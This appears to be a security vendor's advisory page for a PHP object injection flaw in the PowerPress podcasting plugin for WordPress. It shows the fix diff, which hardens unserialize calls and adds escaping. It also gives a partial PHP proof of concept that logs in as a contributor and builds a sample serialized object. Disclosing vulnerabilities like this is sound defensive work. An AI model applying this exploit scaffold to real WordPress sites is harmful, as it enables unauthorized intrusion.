 				if (is_array($results) && !isset($results['error'])) {
@@ -5610,12 +5636,12 @@
 			// ========================================

 			if (!$skip_publish && $error == false) {
-				$post_vars = array(
-					'episode_art' => $episode_art,
-					'podcast_post_date' => $post_time,
-					'podcast_title' => $post_title,
-					'podcast_subtitle' => isset($episode_data['subtitle']) ? $episode_data['subtitle'] : ''
-				);
+			$post_vars = [
+				'episode_art' => $episode_art,
+				'podcast_post_date' => $post_time,
+				'podcast_title' => $post_title,
+				'podcast_subtitle' => $episode_data['subtitle'] ?? ''
+			];

 				// process alternate enclosures
 				if (!empty($episode_data['alternate_enclosure'])) {
@@ -5634,7 +5660,7 @@
 				// api request
 				$results = powerpress_api_request(
 					'/2/media/%s/%s?publish=true',
-					array(urlencode($program_keyword), urlencode($enclosure_url)),
+					[urlencode($program_keyword), urlencode($enclosure_url)],
 					$post_vars,
 					$settings,
 					$creds,
@@ -5720,6 +5746,7 @@
 			// PUBLISH ALTERNATE ENCLOSURES ONLY
 			// ========================================

+			$post_vars = []; // init before use
 			$post_vars['publish_alt_enclosures'] = 1;
 			$post_vars['alternate_enclosures'] = powerpress_build_alt_enclosure_post_vars(
 				$episode_data['alternate_enclosure'],
@@ -5759,6 +5786,9 @@
 					// update alternate enclosures with published urls
 					if (!empty($results['alternate_enclosures'])) {
 						foreach ($episode_data['alternate_enclosure'] as $idx => $alternate_enclosure) {
+							// ssrf check on path (consistent with main publish path)
+							if (!SSRFCheck($alternate_enclosure['url'], $feed_slug, false, 'alternate enclosure url basename')) continue;
+
 							$alt_filename = powerpress_extract_filename($alternate_enclosure['url']);
 							if (array_key_exists($alt_filename, $results['alternate_enclosures'])) {
 								$new_alt_url = $results['alternate_enclosures'][$alt_filename];
@@ -5814,7 +5844,8 @@
 		// ===================================================

 		// update podcast_id from publish results if available (takes precedence)
-		if (!empty($results['podcast_id'])) {
+		// $results may not be set if neither publish path was taken
+		if (isset($results) && !empty($results['podcast_id'])) {
 			$episode_data['podcast_id'] = $results['podcast_id'];
 			$podcast_id = $results['podcast_id'];
 		} else if (empty($podcast_id)) {
@@ -5824,7 +5855,8 @@
 			if (!empty($postmeta_raw) && is_string($postmeta_raw)) {
 				$postmeta_parts = explode("n", $postmeta_raw);
 				if (count($postmeta_parts) > 3) {
-					$postmeta_data = @unserialize($postmeta_parts[3]);
+					// allowed_classes => false prevents php object injection via crafted serialized data
+					$postmeta_data = @unserialize($postmeta_parts[3], ['allowed_classes' => false]);
 					if (!empty($postmeta_data['podcast_id'])) {
 						$podcast_id = $postmeta_data['podcast_id'];
 					}
@@ -6674,6 +6706,8 @@

 function powerpress_add_error($error, $debug = [])
 {
+	$error = esc_html($error); // escape to prevent xss
+
 	// if debug context provided, build expandable details
 	if (!empty($debug)) {
 		$details = [];
--- a/powerpress/views/episode-box.php
+++ b/powerpress/views/episode-box.php
@@ -127,7 +127,8 @@
         $EnclosureType = trim($EnclosureType);

         if ($EnclosureSerialized) {
-            $ExtraData = @unserialize($EnclosureSerialized);
+            // allowed_classes => false prevents php object injection via crafted serialized data
+            $ExtraData = @unserialize($EnclosureSerialized, ['allowed_classes' => false]);
             if ($ExtraData) {
                 if (isset($ExtraData['duration']))
                     $iTunesDuration = $ExtraData['duration'];

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-23798 - PowerPress Podcasting plugin by Blubrry <= 11.15.10 - Authenticated (Contributor+) PHP Object Injection

<?php
/*
Proof of Concept for CVE-2026-23798
Requires:
- WordPress installation with PowerPress plugin <= 11.15.10
- Valid Contributor-level credentials
- A POP chain in another plugin/theme (not included)

This PoC demonstrates the attack vector by attempting to store and trigger
malicious serialized data through plugin functions.
*/

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Get login form nonce
$response = curl_exec($ch);
preg_match('/name="log"[^>]*>/', $response, $matches);

// Prepare login POST data
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $admin_url,
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 2: Verify authentication by accessing admin area
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false) {
    die('Authentication failed');
}

echo 'Authenticated as Contributorn';

// Step 3: Craft malicious serialized object
// Note: Actual payload depends on available POP chain
// This example uses a generic serialized string that would trigger
// object injection if a suitable gadget chain exists
$malicious_object = 'O:8:"TestClass":1:{s:4:"data";s:10:"malicious";}';

// Step 4: The actual exploitation would require finding a way to store
// this serialized data in a location the plugin later processes via
// powerpress_get_enclosure_data() or similar functions.
// This could involve:
// - Manipulating podcast episode metadata
// - Injecting into taxonomy options (powerpress_taxonomy_*)
// - Modifying post meta with serialized enclosure data
//
// Without a specific storage endpoint, this PoC shows the concept only
echo 'Vulnerable unserialize() calls exist in:n';
echo '- powerpress_get_enclosure_data() in powerpress.phpn';
echo '- powerpress_get_enclosure() in powerpress.phpn';
echo '- AJAX handlers in powerpressadmin-jquery.phpn';
echo 'nTo exploit, store serialized object where plugin processes it.n';

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School